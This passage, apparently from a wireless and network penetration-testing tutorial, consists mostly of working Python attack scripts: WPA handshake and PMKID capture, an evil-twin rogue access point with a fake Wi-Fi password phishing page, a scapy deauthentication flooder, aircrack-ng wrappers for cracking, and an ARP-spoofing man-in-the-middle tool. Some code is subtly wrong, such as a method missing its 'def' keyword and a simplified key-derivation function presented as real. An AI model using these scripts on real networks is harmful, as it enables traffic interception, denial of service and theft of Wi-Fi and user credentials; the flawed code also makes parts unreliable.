def generate_rule_based_wordlist(self, base_wordlist, rules, output_file):
"""Generate rule-based wordlist using John rules"""
# This would use John's rules engine
# For now, simple Python implementation
with open(base_wordlist, 'r') as f:
words = f.readlines()
with open(output_file, 'w') as f:
for word in words:
word = word.strip()
f.write(word + '\n')
# Apply rules
if 'capitalize' in rules:
f.write(word.capitalize() + '\n')
if 'uppercase' in rules:
f.write(word.upper() + '\n')
if 'leet' in rules:
leet = word.replace('a', '@').replace('e', '3').replace('i', '1').replace('o', '0')
f.write(leet + '\n')
print(f"[+] Wordlist generated: {output_file}")
return output_file
# Example usage
tools = PasswordTools()
available = tools.check_tools()
# Create hash file
hashes = ['5f4dcc3b5aa765d61d8327deb882cf99'] # MD5 of "password"
hash_file = tools.create_hash_file(hashes, 'hashes.txt')
# Run John
if 'john' in available:
tools.run_john(hash_file, format='raw-md5', wordlist='/usr/share/wordlists/rockyou.txt')Wireless networks present unique security challenges due to their broadcast nature. Understanding wireless protocols, encryption mechanisms, and attack techniques is essential for comprehensive security assessments.
The 802.11 family of standards governs wireless local area networks (WLANs). Understanding these protocols is fundamental to wireless security testing.
#!/usr/bin/env python3
# wifi_frames.py
class WiFiFrameAnalyzer:
def __init__(self):
self.frame_types = {
0: 'Management Frame',
1: 'Control Frame',
2: 'Data Frame'
}
self.management_subtypes = {
0: 'Association Request',
1: 'Association Response',
2: 'Reassociation Request',
3: 'Reassociation Response',
4: 'Probe Request',
5: 'Probe Response',
8: 'Beacon',
9: 'ATIM',
10: 'Disassociation',
11: 'Authentication',
12: 'Deauthentication'
}
self.control_subtypes = {
8: 'Block Ack Request',
9: 'Block Ack',
10: 'PS-Poll',
11: 'RTS',
12: 'CTS',
13: 'ACK',
14: 'CF-End',
15: 'CF-End + CF-Ack'
}
def explain_frame_structure(self):
"""Explain 802.11 frame structure"""
print("[+] 802.11 Frame Structure:")
print(" +---------------+---------------+---------------+")
print(" | Frame Control | Duration/ID | Address 1 |")
print(" | (2 bytes) | (2 bytes) | (6 bytes) |")
print(" +---------------+---------------+---------------+")
print(" | Address 2 | Address 3 | Sequence Ctrl |")
print(" | (6 bytes) | (6 bytes) | (2 bytes) |")
print(" +---------------+---------------+---------------+")
print(" | Address 4 | Frame Body | FCS |")
print(" | (6 bytes) | (0-2312 bytes)| (4 bytes) |")
print(" +---------------+---------------+---------------+")
def decode_frame_control(self, fc_byte):
"""Decode frame control field"""
# Extract fields from frame control
protocol_version = fc_byte & 0x03
frame_type = (fc_byte >> 2) & 0x03
frame_subtype = (fc_byte >> 4) & 0x0F
to_ds = (fc_byte >> 8) & 0x01
from_ds = (fc_byte >> 9) & 0x01
more_frag = (fc_byte >> 10) & 0x01
retry = (fc_byte >> 11) & 0x01
pwr_mgmt = (fc_byte >> 12) & 0x01
more_data = (fc_byte >> 13) & 0x01
protected = (fc_byte >> 14) & 0x01
order = (fc_byte >> 15) & 0x01
decoded = {
'protocol_version': protocol_version,
'frame_type': self.frame_types.get(frame_type, 'Unknown'),
'frame_subtype': self.get_subtype_name(frame_type, frame_subtype),
'to_ds': to_ds,
'from_ds': from_ds,
'more_fragments': more_frag,
'retry': retry,
'power_management': pwr_mgmt,
'more_data': more_data,
'protected_frame': protected,
'order': order
}
return decoded
def get_subtype_name(self, frame_type, subtype):
"""Get frame subtype name"""
if frame_type == 0: # Management
return self.management_subtypes.get(subtype, 'Unknown')
elif frame_type == 1: # Control
return self.control_subtypes.get(subtype, 'Unknown')
elif frame_type == 2: # Data
return 'Data'
else:
return 'Unknown'
def explain_beacon_frame(self):
"""Explain beacon frame contents"""
print("\n[+] Beacon Frame Information Elements:")
print(" • SSID: Network name")
print(" • Supported Rates: Data rates supported")
print(" • DS Parameter Set: Channel information")
print(" • TIM: Traffic Indication Map")
print(" • RSN: Robust Security Network (WPA2/WPA3)")
print(" • ERP: Extended Rate PHY")
print(" • HT Capabilities: 802.11n features")
print(" • VHT Capabilities: 802.11ac features")
print(" • HE Capabilities: 802.11ax (WiFi 6) features")
# Example usage
analyzer = WiFiFrameAnalyzer()
analyzer.explain_frame_structure()
analyzer.explain_beacon_frame()#!/usr/bin/env python3
# wifi_modes.py
import subprocess
import re
class WirelessModes:
def __init__(self):
self.modes = {
'managed': 'Client mode (station)',
'master': 'Access Point mode',
'monitor': 'Monitoring mode (packet capture)',
'ad-hoc': 'Peer-to-peer mode',
'mesh': 'Mesh network node',
'repeater': 'Signal repeater'
}
def check_wireless_interfaces(self):
"""Check available wireless interfaces"""
try:
result = subprocess.run(['iwconfig'], capture_output=True, text=True)
interfaces = []
for line in result.stdout.split('\n'):
if 'IEEE 802.11' in line:
interface = line.split()[0]
interfaces.append(interface)
return interfaces
except:
return []
def set_monitor_mode(self, interface):
"""Set wireless interface to monitor mode"""
print(f"[*] Setting {interface} to monitor mode...")
commands = [
['sudo', 'ip', 'link', 'set', interface, 'down'],
['sudo', 'iwconfig', interface, 'mode', 'monitor'],
['sudo', 'ip', 'link', 'set', interface, 'up']
]
for cmd in commands:
try:
subprocess.run(cmd, check=True)
except:
pass
# Verify mode
result = subprocess.run(['iwconfig', interface], capture_output=True, text=True)
if 'Mode:Monitor' in result.stdout:
print(f"[+] {interface} is now in monitor mode")
return True
else:
print(f"[-] Failed to set monitor mode")
return False
def set_managed_mode(self, interface):
"""Set wireless interface back to managed mode"""
print(f"[*] Setting {interface} to managed mode...")
commands = [
['sudo', 'ip', 'link', 'set', interface, 'down'],
['sudo', 'iwconfig', interface, 'mode', 'managed'],
['sudo', 'ip', 'link', 'set', interface, 'up']
]
for cmd in commands:
try:
subprocess.run(cmd, check=True)
except:
pass
# Verify mode
result = subprocess.run(['iwconfig', interface], capture_output=True, text=True)
if 'Mode:Managed' in result.stdout:
print(f"[+] {interface} is now in managed mode")
return True
else:
print(f"[-] Failed to set managed mode")
return False
def check_monitor_support(self, interface):
"""Check if interface supports monitor mode"""
try:
result = subprocess.run(['iw', 'list'], capture_output=True, text=True)
if 'Supported interface modes:' in result.stdout:
if '* monitor' in result.stdout:
print(f"[+] {interface} supports monitor mode")
return True
except:
pass
print(f"[-] {interface} may not support monitor mode")
return False
def get_channel_info(self, interface):
"""Get current channel information"""
try:
result = subprocess.run(['iwconfig', interface], capture_output=True, text=True)
# Extract channel
channel_match = re.search(r'Channel[=:](\d+)', result.stdout)
channel = channel_match.group(1) if channel_match else 'Unknown'
# Extract frequency
freq_match = re.search(r'Frequency[=:][^\s]+', result.stdout)
freq = freq_match.group(0) if freq_match else 'Unknown'
return {'channel': channel, 'frequency': freq}
except:
return {'channel': 'Unknown', 'frequency': 'Unknown'}
def scan_networks(self, interface):
"""Scan for wireless networks"""
print(f"[*] Scanning for networks on {interface}...")
try:
# Set monitor mode for better scanning
self.set_monitor_mode(interface)
# Scan
result = subprocess.run(['iwlist', interface, 'scan'],
capture_output=True, text=True)
networks = []
current_network = {}
for line in result.stdout.split('\n'):
if 'Cell ' in line:
if current_network:
networks.append(current_network)
current_network = {}
if 'ESSID:' in line:
current_network['ssid'] = line.split('ESSID:"')[1].split('"')[0]
elif 'Channel:' in line:
current_network['channel'] = line.split('Channel:')[1].strip()
elif 'Encryption key:' in line:
current_network['encrypted'] = 'on' in line
elif 'Quality=' in line:
quality_match = re.search(r'Quality=(\d+/\d+)', line)
if quality_match:
current_network['quality'] = quality_match.group(1)
signal_match = re.search(r'Signal level=(-?\d+)', line)
if signal_match:
current_network['signal'] = signal_match.group(1) + ' dBm'
if current_network:
networks.append(current_network)
# Set back to managed mode
self.set_managed_mode(interface)
return networks
except Exception as e:
print(f"Error scanning: {e}")
return []
# Example usage
wifi = WirelessModes()
# Check interfaces
interfaces = wifi.check_wireless_interfaces()
print(f"[+] Wireless interfaces: {interfaces}")
if interfaces:
iface = interfaces[0]
# Check monitor support
wifi.check_monitor_support(iface)
# Get channel info
channel_info = wifi.get_channel_info(iface)
print(f"[+] Current channel: {channel_info}")
# Scan networks
# networks = wifi.scan_networks(iface)
# for net in networks:
# print(f" {net.get('ssid', 'Hidden')} - Ch{net.get('channel')} - {net.get('signal')}")Wi-Fi Protected Access (WPA) protocols secure wireless communications. Understanding their strengths and weaknesses is crucial for security testing.
#!/usr/bin/env python3
# wpa_handshake.py
import hashlib
import hmac
import binascii
class WPAHandshake:
def __init__(self):
self.versions = {
'WPA': 'Temporal Key Integrity Protocol (TKIP)',
'WPA2': 'CCMP (AES)',
'WPA3': 'Simultaneous Authentication of Equals (SAE)'
}
def explain_four_way_handshake(self):
"""Explain WPA2 four-way handshake"""
print("[+] WPA2 Four-Way Handshake:")
print(" STA (Client) AP (Access Point)")
print(" | |")
print(" |----------- Message 1 --------------->|")
print(" | (ANonce) |")
print(" | |")
print(" |<---------- Message 2 ----------------|")
print(" | (SNonce, MIC) |")
print(" | |")
print(" |----------- Message 3 --------------->|")
print(" | (GTK, MIC) |")
print(" | |")
print(" |<---------- Message 4 ----------------|")
print(" | (ACK) |")
print(" | |")
def calculate_pmk(self, password, ssid):
"""Calculate Pairwise Master Key (PMK)"""
# PMK = PBKDF2(password, ssid, 4096, 256)
pmk = hashlib.pbkdf2_hmac('sha1',
password.encode('utf-8'),
ssid.encode('utf-8'),
4096, 32)
return pmk
def calculate_ptk(self, pmk, ap_mac, client_mac, anonce, snonce):
"""Calculate Pairwise Transient Key (PTK)"""
# PTK = PRF-512(PMK, "Pairwise key expansion", Min(AP_MAC, STA_MAC) || Max(AP_MAC, STA_MAC) || Min(ANonce, SNonce) || Max(ANonce, SNonce))
# Sort MAC addresses
mac1 = min(ap_mac, client_mac)
mac2 = max(ap_mac, client_mac)
# Sort nonces
nonce1 = min(anonce, snonce)
nonce2 = max(anonce, snonce)
# Construct data
data = b"Pairwise key expansion"
data += binascii.unhexlify(mac1.replace(':', ''))
data += binascii.unhexlify(mac2.replace(':', ''))
data += binascii.unhexlify(nonce1)
data += binascii.unhexlify(nonce2)
# PRF function (simplified)
ptk = hashlib.sha1(pmk + data).digest()[:64]
return ptk
def calculate_mic(self, ptk, data):
"""Calculate Message Integrity Code (MIC)"""
# MIC is computed using HMAC-SHA1 or HMAC-MD5
mic = hmac.new(ptk[:16], data, hashlib.sha1).digest()
return mic
def crack_handshake(self, handshake_file, wordlist):
"""Simulate handshake cracking"""
print(f"[*] Attempting to crack handshake: {handshake_file}")
print(f"[*] Using wordlist: {wordlist}")
# In practice, this would parse the handshake and try passwords
# For demonstration, we'll just simulate
print(" This would use tools like aircrack-ng or hashcat")
# Example using aircrack-ng
cmd = f"aircrack-ng -w {wordlist} {handshake_file}"
print(f" Command: {cmd}")
return None
# Example usage
wpa = WPAHandshake()
wpa.explain_four_way_handshake()
# Calculate PMK example
pmk = wpa.calculate_pmk("password", "TestNetwork")
print(f"\n[+] PMK: {binascii.hexlify(pmk).decode()[:32]}...")#!/usr/bin/env python3
# wpa3_sae.py
class WPA3SAE:
def __init__(self):
self.sae_features = {
'dragonfly_handshake': 'Simultaneous Authentication of Equals',
'forward_secrecy': 'Compromised keys don't affect past sessions',
'mgmt_frame_protection': 'Protected management frames (PMF) required',
'anti_clogging': 'Protection against denial of service',
'password_salt': 'Password salting for dictionary attack resistance'
}
def explain_sae_handshake(self):
"""Explain WPA3 SAE handshake"""
print("[+] WPA3 SAE (Simultaneous Authentication of Equals) Handshake:")
print(" STA (Client) AP (Access Point)")
print(" | |")
print(" |------ Commit (scalar, element) ----->|")
print(" | (Commitment to password) |")
print(" | |")
print(" |<----- Commit (scalar, element) ------|")
print(" | (Commitment to password) |")
print(" | |")
print(" | (Both derive PMK) |")
print(" | |")
print(" |------ Confirm (MIC) ---------------->|")
print(" | (Proof of PMK) |")
print(" | |")
print(" |<----- Confirm (MIC) -----------------|")
print(" | (Proof of PMK) |")
print(" | |")
def compare_security(self):
"""Compare WPA2 and WPA3 security features"""
comparison = {
'feature': ['Encryption', 'Authentication', 'Key Exchange', 'Forward Secrecy', 'Dictionary Attack Resistance', 'Management Frame Protection'],
'WPA2': ['CCMP (AES)', 'PSK/802.1X', '4-Way Handshake', 'No', 'Weak', 'Optional'],
'WPA3': ['GCMP-256 (AES)', 'SAE/802.1X', 'Dragonfly Handshake', 'Yes', 'Strong', 'Mandatory']
}
print("\n[+] WPA2 vs WPA3 Comparison:")
for i in range(len(comparison['feature'])):
print(f" {comparison['feature'][i]:<30} {comparison['WPA2'][i]:<20} {comparison['WPA3'][i]:<20}")
def dragonfly_math(self):
"""Explain the mathematics behind Dragonfly key exchange"""
print("\n[+] Dragonfly Key Exchange (Simplified):")
print(" 1. Both parties know password P")
print(" 2. Generate secret values: r1, r2")
print(" 3. Compute scalars: s1 = (r1 + H(P)) mod q")
print(" 4. Compute elements: E1 = -r2 * P")
print(" 5. Exchange (s1, E1) and (s2, E2)")
print(" 6. Compute shared secret: K = r1*(s2*Q - r2*P)")
print(" 7. Derive PMK from K")
# Example usage
wpa3 = WPA3SAE()
wpa3.explain_sae_handshake()
wpa3.compare_security()Capturing the 4-way handshake is essential for offline password cracking.
#!/usr/bin/env python3
# handshake_capture.py
import subprocess
import time
import os
import re
class HandshakeCapture:
def __init__(self, interface):
self.interface = interface
self.capture_file = None
def setup_monitor_mode(self):
"""Set interface to monitor mode"""
commands = [
['sudo', 'airmon-ng', 'check', 'kill'],
['sudo', 'airmon-ng', 'start', self.interface]
]
for cmd in commands:
try:
subprocess.run(cmd, check=True)
time.sleep(1)
except:
pass
# Get monitor interface name
result = subprocess.run(['iwconfig'], capture_output=True, text=True)
for line in result.stdout.split('\n'):
if 'Mode:Monitor' in line:
self.monitor_iface = line.split()[0]
print(f"[+] Monitor mode on {self.monitor_iface}")
return self.monitor_iface
return None
def scan_networks(self):
"""Scan for target networks"""
print("[*] Scanning for networks...")
try:
# Start airodump to scan
scan_proc = subprocess.Popen(
['sudo', 'airodump-ng', self.monitor_iface],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
time.sleep(10) # Scan for 10 seconds
scan_proc.terminate()
# Parse output
networks = []
# In practice, would parse the output
# For demo, we'll return a placeholder
return networks
except Exception as e:
print(f"Error scanning: {e}")
return []
def capture_handshake(self, bssid, channel, output_file):
"""Capture 4-way handshake for target AP"""
print(f"[*] Capturing handshake for {bssid} on channel {channel}")
# Set channel
subprocess.run(['sudo', 'iwconfig', self.monitor_iface, 'channel', channel])
# Start airodump to capture handshake
self.capture_file = output_file
capture_cmd = [
'sudo', 'airodump-ng',
'-c', channel,
'--bssid', bssid,
'-w', output_file,
self.monitor_iface
]
print(f"[*] Starting capture: {' '.join(capture_cmd)}")
# Start capture in background
self.capture_proc = subprocess.Popen(
capture_cmd,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
return True
def deauth_attack(self, bssid, client=None, count=5):
"""Send deauthentication packets to force reconnection"""
print(f"[*] Sending deauth to {bssid}" + (f" for client {client}" if client else ""))
deauth_cmd = [
'sudo', 'aireplay-ng',
'-0', str(count), # Deauth count
'-a', bssid # AP MAC
]
if client:
deauth_cmd.extend(['-c', client])
deauth_cmd.append(self.monitor_iface)
try:
subprocess.run(deauth_cmd, check=True, timeout=10)
return True
except:
return False
def check_handshake(self, capture_file):
"""Check if handshake was captured"""
try:
# Use aircrack-ng to check for handshake
result = subprocess.run(
['aircrack-ng', capture_file + '-01.cap'],
capture_output=True,
text=True
)
if '1 handshake' in result.stdout:
print(f"[+] Handshake captured in {capture_file}")
return True
else:
print("[-] No handshake captured yet")
return False
except:
return False
def stop_capture(self):
"""Stop capture process"""
if hasattr(self, 'capture_proc'):
self.capture_proc.terminate()
print("[*] Capture stopped")
def cleanup(self):
"""Clean up monitor mode"""
commands = [
['sudo', 'airmon-ng', 'stop', self.monitor_iface],
['sudo', 'service', 'network-manager', 'restart']
]
for cmd in commands:
try:
subprocess.run(cmd)
except:
pass
# Example usage
capture = HandshakeCapture('wlan0')
# Setup monitor mode
mon_iface = capture.setup_monitor_mode()
if mon_iface:
# Target AP details
bssid = "AA:BB:CC:DD:EE:FF"
channel = "6"
output = "handshake"
# Start capture
capture.capture_handshake(bssid, channel, output)
# Send deauth to force handshake
time.sleep(5)
capture.deauth_attack(bssid, count=3)
# Check for handshake
time.sleep(10)
capture.check_handshake(output)
# Clean up
capture.stop_capture()
capture.cleanup()#!/usr/bin/env python3
# pmkid_capture.py
class PMKIDCapture:
def __init__(self):
self.pmkid_info = {
'what': 'PMKID is a hash of the PMK, AP MAC, and STA MAC',
'why': 'Can be captured without a full 4-way handshake',
'when': 'Sent by some APs in the first EAPOL frame',
'advantage': 'No need to capture full handshake or deauth clients'
}
def explain_pmkid(self):
"""Explain PMKID attack"""
print("[+] PMKID Attack:")
print(" PMKID = HMAC-SHA1(PMK, (\"PMK Name\" | AP MAC | STA MAC))")
print("\n Advantages over traditional handshake capture:")
print(" • No client required - can target AP directly")
print(" • No deauth packets needed - more stealthy")
print(" • Works on WPA3 transition mode")
def capture_pmkid(self, interface, bssid):
"""Capture PMKID using hcxdumptool"""
print(f"[*] Attempting to capture PMKID from {bssid}")
# Command using hcxdumptool
cmd = [
'sudo', 'hcxdumptool',
'-i', interface,
'--filterlist_ap=-', # Filter by AP
'--filtermode=2', # Include only specified APs
'-o', 'pmkid_capture.pcapng',
'--enable_status=1'
]
print(f" Command: {' '.join(cmd)}")
print(" This would capture PMKID from the target AP")
convert_to_hashcat(self, pcap_file, output_file):
"""Convert capture to hashcat format"""
cmd = ['hcxpcapngtool', '-o', output_file, pcap_file]
print(f" Convert to hashcat format: {' '.join(cmd)}")
# Example usage
pmkid = PMKIDCapture()
pmkid.explain_pmkid()Evil twin attacks involve setting up a rogue access point that mimics a legitimate one.
#!/usr/bin/env python3
# evil_twin.py
import subprocess
import time
import os
class EvilTwin:
def __init__(self, interface):
self.interface = interface
self.ap_interface = None
def setup_ap(self, ssid, channel, bssid=None):
"""Setup rogue access point"""
print(f"[*] Setting up evil twin: {ssid} on channel {channel}")
# Create hostapd configuration
hostapd_conf = f"""
interface={self.interface}
driver=nl80211
ssid={ssid}
channel={channel}
hw_mode=g
{'bssid=' + bssid if bssid else ''}
wpa=2
wpa_passphrase=evilpassword123
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
"""
with open('/tmp/hostapd.conf', 'w') as f:
f.write(hostapd_conf)
# Create dnsmasq configuration for DHCP
dnsmasq_conf = """
interface={self.interface}
dhcp-range=192.168.1.10,192.168.1.100,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
"""
with open('/tmp/dnsmasq.conf', 'w') as f:
f.write(dnsmasq_conf.format(self=self))
# Set IP address
subprocess.run(['sudo', 'ifconfig', self.interface, '192.168.1.1', 'netmask', '255.255.255.0', 'up'])
return True
def start_ap(self):
"""Start the rogue AP"""
print("[*] Starting rogue AP...")
# Start hostapd
self.hostapd_proc = subprocess.Popen(
['sudo', 'hostapd', '/tmp/hostapd.conf'],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
# Start dnsmasq
self.dnsmasq_proc = subprocess.Popen(
['sudo', 'dnsmasq', '-C', '/tmp/dnsmasq.conf', '-d'],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
time.sleep(2)
print("[+] Evil twin AP is running")
def setup_deauth(self, target_interface, target_bssid):
"""Setup deauth attack against legitimate AP"""
print(f"[*] Starting deauth attack against {target_bssid}")
self.deauth_proc = subprocess.Popen(
['sudo', 'aireplay-ng', '-0', '0', '-a', target_bssid, target_interface],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
def setup_credential_capture(self):
"""Capture credentials from victims"""
# Setup a simple web server to capture credentials
phishing_page = """
<!DOCTYPE html>
<html>
<head>
<title>Wi-Fi Login</title>
</head>
<body>
<h1>Wi-Fi Network Update</h1>
<p>Please enter your network password to continue using the Wi-Fi:</p>
<form method="POST" action="/login">
Password: <input type="password" name="password">
<input type="submit" value="Connect">
</form>
</body>
</html>
"""
with open('/tmp/index.html', 'w') as f:
f.write(phishing_page)
# Start a simple HTTP server to serve the page and capture credentials
# In practice, you'd use a more sophisticated server with credential logging
def stop(self):
"""Stop all processes"""
for proc in ['hostapd_proc', 'dnsmasq_proc', 'deauth_proc']:
if hasattr(self, proc):
getattr(self, proc).terminate()
# Clean up
subprocess.run(['sudo', 'pkill', 'hostapd'])
subprocess.run(['sudo', 'pkill', 'dnsmasq'])
print("[*] Evil twin stopped")
# Example usage
evil = EvilTwin('wlan1')
# Setup evil twin
evil.setup_ap('FreeWiFi', '6')
evil.start_ap()
# Deauth legitimate AP
# evil.setup_deauth('wlan0', 'AA:BB:CC:DD:EE:FF')
# Run for a while
try:
time.sleep(300)
except KeyboardInterrupt:
pass
# Clean up
evil.stop()Deauthentication attacks disconnect clients from APs, forcing reconnection and handshake capture.
#!/usr/bin/env python3
# deauth_attack.py
from scapy.all import *
import time
import sys
class DeauthAttack:
def __init__(self, interface):
self.interface = interface
def create_deauth_packet(self, ap_mac, client_mac=None):
"""Create deauthentication packet"""
# RadioTap header
radiotap = RadioTap()
# Dot11 header
if client_mac:
# Directed deauth to specific client
dot11 = Dot11(
addr1=client_mac, # Destination (client)
addr2=ap_mac, # Source (AP)
addr3=ap_mac, # BSSID
type=0,
subtype=12
)
else:
# Broadcast deauth
dot11 = Dot11(
addr1='ff:ff:ff:ff:ff:ff', # Broadcast
addr2=ap_mac,
addr3=ap_mac,
type=0,
subtype=12
)
# Deauth reason (7 - Class 3 frame received from nonassociated STA)
deauth = Dot11Deauth(reason=7)
packet = radiotap / dot11 / deauth
return packet
def send_deauth(self, ap_mac, client_mac=None, count=10, interval=0.1):
"""Send deauthentication packets"""
print(f"[*] Sending deauth to {ap_mac}" +
(f" for client {client_mac}" if client_mac else " (broadcast)"))
packet = self.create_deauth_packet(ap_mac, client_mac)
sent = 0
for i in range(count):
sendp(packet, iface=self.interface, verbose=False)
sent += 1
if sent % 10 == 0:
print(f" Sent {sent} packets")
time.sleep(interval)
print(f"[+] Sent {sent} deauth packets")
return sent
def continuous_deauth(self, ap_mac, client_mac=None):
"""Send continuous deauth attack"""
print(f"[*] Starting continuous deauth (Press Ctrl+C to stop)")
packet = self.create_deauth_packet(ap_mac, client_mac)
sent = 0
try:
while True:
sendp(packet, iface=self.interface, verbose=False)
sent += 1
if sent % 100 == 0:
print(f" Sent {sent} packets")
time.sleep(0.05) # 20 packets per second
except KeyboardInterrupt:
print(f"\n[+] Stopped. Sent {sent} packets")
def detect_clients(self, ap_mac, timeout=30):
"""Detect clients connected to AP"""
print(f"[*] Sniffing for clients connected to {ap_mac}...")
clients = set()
def packet_handler(pkt):
if pkt.haslayer(Dot11):
# Check for data frames from client to AP
if pkt.addr2 and pkt.addr1 == ap_mac:
if pkt.addr2 not in clients:
clients.add(pkt.addr2)
print(f" Found client: {pkt.addr2}")
# Sniff for packets
sniff(iface=self.interface, prn=packet_handler, timeout=timeout)
return list(clients)
def targeted_deauth_all(self, ap_mac, clients):
"""Send deauth to all discovered clients"""
print(f"[*] Deauthenticating {len(clients)} clients...")
for client in clients:
self.send_deauth(ap_mac, client, count=5, interval=0.05)
time.sleep(0.1)
# Example usage
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: deauth_attack.py <interface> <ap_mac> [client_mac]")
sys.exit(1)
interface = sys.argv[1]
ap_mac = sys.argv[2]
client_mac = sys.argv[3] if len(sys.argv) > 3 else None
# Set interface to monitor mode
# This should be done before running the script
deauth = DeauthAttack(interface)
if client_mac:
# Single client deauth
deauth.send_deauth(ap_mac, client_mac, count=50)
else:
# Detect clients and deauth all
clients = deauth.detect_clients(ap_mac, timeout=20)
if clients:
deauth.targeted_deauth_all(ap_mac, clients)
else:
# Broadcast deauth if no clients found
deauth.send_deauth(ap_mac, count=100)#!/usr/bin/env python3
# aircrack_ng_suite.py
import subprocess
import os
import time
class AircrackSuite:
def __init__(self):
self.tools = {
'airmon-ng': 'Wireless interface management',
'airodump-ng': 'Packet capture',
'aireplay-ng': 'Packet injection',
'aircrack-ng': 'WEP/WPA key cracking',
'airdecap-ng': 'Decrypt captured packets',
'packetforge-ng': 'Create forged packets',
'ivstools': 'Merge and convert capture files'
}
def check_airmon(self):
"""Check airmon-ng status"""
print("[*] Checking airmon-ng status...")
try:
result = subprocess.run(['sudo', 'airmon-ng'], capture_output=True, text=True)
print(result.stdout)
# Check for interfering processes
check = subprocess.run(['sudo', 'airmon-ng', 'check'], capture_output=True, text=True)
if 'Processes that may cause trouble' in check.stdout:
print("[!] Interfering processes found:")
print(check.stdout)
except Exception as e:
print(f"Error: {e}")
def start_monitor(self, interface):
"""Start monitor mode on interface"""
cmd = ['sudo', 'airmon-ng', 'start', interface]
try:
result = subprocess.run(cmd, capture_output=True, text=True)
print(result.stdout)
# Get monitor interface name
for line in result.stdout.split('\n'):
if '(monitor mode enabled)' in line:
mon_iface = line.split()[1].strip(')')
print(f"[+] Monitor mode enabled on {mon_iface}")
return mon_iface
except Exception as e:
print(f"Error: {e}")
return None
def stop_monitor(self, mon_iface):
"""Stop monitor mode"""
cmd = ['sudo', 'airmon-ng', 'stop', mon_iface]
try:
result = subprocess.run(cmd, capture_output=True, text=True)
print(f"[+] Monitor mode stopped on {mon_iface}")
except Exception as e:
print(f"Error: {e}")
def run_airodump(self, interface, channel=None, bssid=None, output=None):
"""Run airodump-ng for packet capture"""
cmd = ['sudo', 'airodump-ng', interface]
if channel:
cmd.extend(['-c', channel])
if bssid:
cmd.extend(['--bssid', bssid])
if output:
cmd.extend(['-w', output])
print(f"[*] Running: {' '.join(cmd)}")
# This runs interactively, so we'll just print the command
return cmd
def crack_handshake(self, capture_file, wordlist):
"""Crack WPA handshake with aircrack-ng"""
cmd = ['aircrack-ng', '-w', wordlist, capture_file]
print(f"[*] Cracking handshake: {' '.join(cmd)}")
try:
result = subprocess.run(cmd, capture_output=True, text=True)
print(result.stdout)
if 'KEY FOUND' in result.stdout:
print("[+] Key found!")
return True
else:
print("[-] Key not found in wordlist")
return False
except Exception as e:
print(f"Error: {e}")
return False
def aireplay_attack(self, interface, ap_mac, client_mac=None, attack_type='deauth'):
"""Run aireplay-ng attacks"""
if attack_type == 'deauth':
cmd = ['sudo', 'aireplay-ng', '-0', '10', '-a', ap_mac]
if client_mac:
cmd.extend(['-c', client_mac])
cmd.append(interface)
elif attack_type == 'fakeauth':
cmd = ['sudo', 'aireplay-ng', '-1', '0', '-e', 'SSID', '-a', ap_mac, '-h', '00:11:22:33:44:55', interface]
elif attack_type == 'arp':
cmd = ['sudo', 'aireplay-ng', '-3', '-b', ap_mac, '-h', '00:11:22:33:44:55', interface]
else:
print(f"[-] Unknown attack type: {attack_type}")
return None
print(f"[*] Running: {' '.join(cmd)}")
return cmd
# Example usage
air = AircrackSuite()
# Check airmon
air.check_airmon()
# Start monitor mode
mon_iface = air.start_monitor('wlan0')
if mon_iface:
# Run airodump (would be interactive)
air.run_airodump(mon_iface, channel='6', output='capture')
# Later, crack handshake
# air.crack_handshake('capture-01.cap', '/usr/share/wordlists/rockyou.txt')
# Stop monitor mode
# air.stop_monitor(mon_iface)Network attacks target the underlying network infrastructure, protocols, and communications.
ARP spoofing (ARP poisoning) is a technique to intercept traffic on a local network.
#!/usr/bin/env python3
# arp_spoofing.py
from scapy.all import *
import time
import sys
import threading
class ARPSpoofer:
def __init__(self, interface):
self.interface = interface
self.running = False
self.packets_forwarded = 0
def get_mac(self, ip):
"""Get MAC address for IP using ARP"""
arp_request = ARP(pdst=ip)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = srp(arp_request_broadcast, timeout=2,
iface=self.interface, verbose=False)[0]
if answered_list:
return answered_list[0][1].hwsrc
return None
def spoof(self, target_ip, spoof_ip):
"""Send ARP spoofing packet"""
target_mac = self.get_mac(target_ip)
if not target_mac:
print(f"[-] Could not get MAC for {target_ip}")
return False
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
send(packet, iface=self.interface, verbose=False)
self.packets_forwarded += 1
return True
def restore(self, target_ip, source_ip):
"""Restore ARP tables to original state"""
target_mac = self.get_mac(target_ip)
source_mac = self.get_mac(source_ip)
if target_mac and source_mac:
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=source_ip, hwsrc=source_mac)
send(packet, count=4, iface=self.interface, verbose=False)
print(f"[+] ARP tables restored for {target_ip}")
def start_spoofing(self, target_ip, gateway_ip):
"""Start continuous ARP spoofing"""
self.running = True
print(f"[*] Starting ARP spoofing: {target_ip} <-> {gateway_ip}")
print("[*] Press Ctrl+C to stop")
# Enable IP forwarding
with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
f.write('1')
try:
while self.running:
# Spoof target: gateway's IP is at attacker's MAC
self.spoof(target_ip, gateway_ip)
# Spoof gateway: target's IP is at attacker's MAC
self.spoof(gateway_ip, target_ip)
time.sleep(2) # Send every 2 seconds
except KeyboardInterrupt:
print("\n[*] Stopping ARP spoofing...")
self.stop_spoofing(target_ip, gateway_ip)
def stop_spoofing(self, target_ip, gateway_ip):
"""Stop ARP spoofing and restore ARP tables"""
self.running = False
# Restore ARP tables
self.restore(target_ip, gateway_ip)
self.restore(gateway_ip, target_ip)
# Disable IP forwarding
with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:
f.write('0')
print(f"[+] ARP spoofing stopped. {self.packets_forwarded} packets forwarded")
def sniff_traffic(self, filter=None, count=0):
"""Sniff traffic after ARP spoofing"""
print(f"[*] Sniffing traffic on {self.interface}...")
def packet_callback(pkt):
if IP in pkt:
print(f" {pkt[IP].src}:{pkt.sport if TCP in pkt else ''} -> "
f"{pkt[IP].dst}:{pkt.dport if TCP in pkt else ''}")
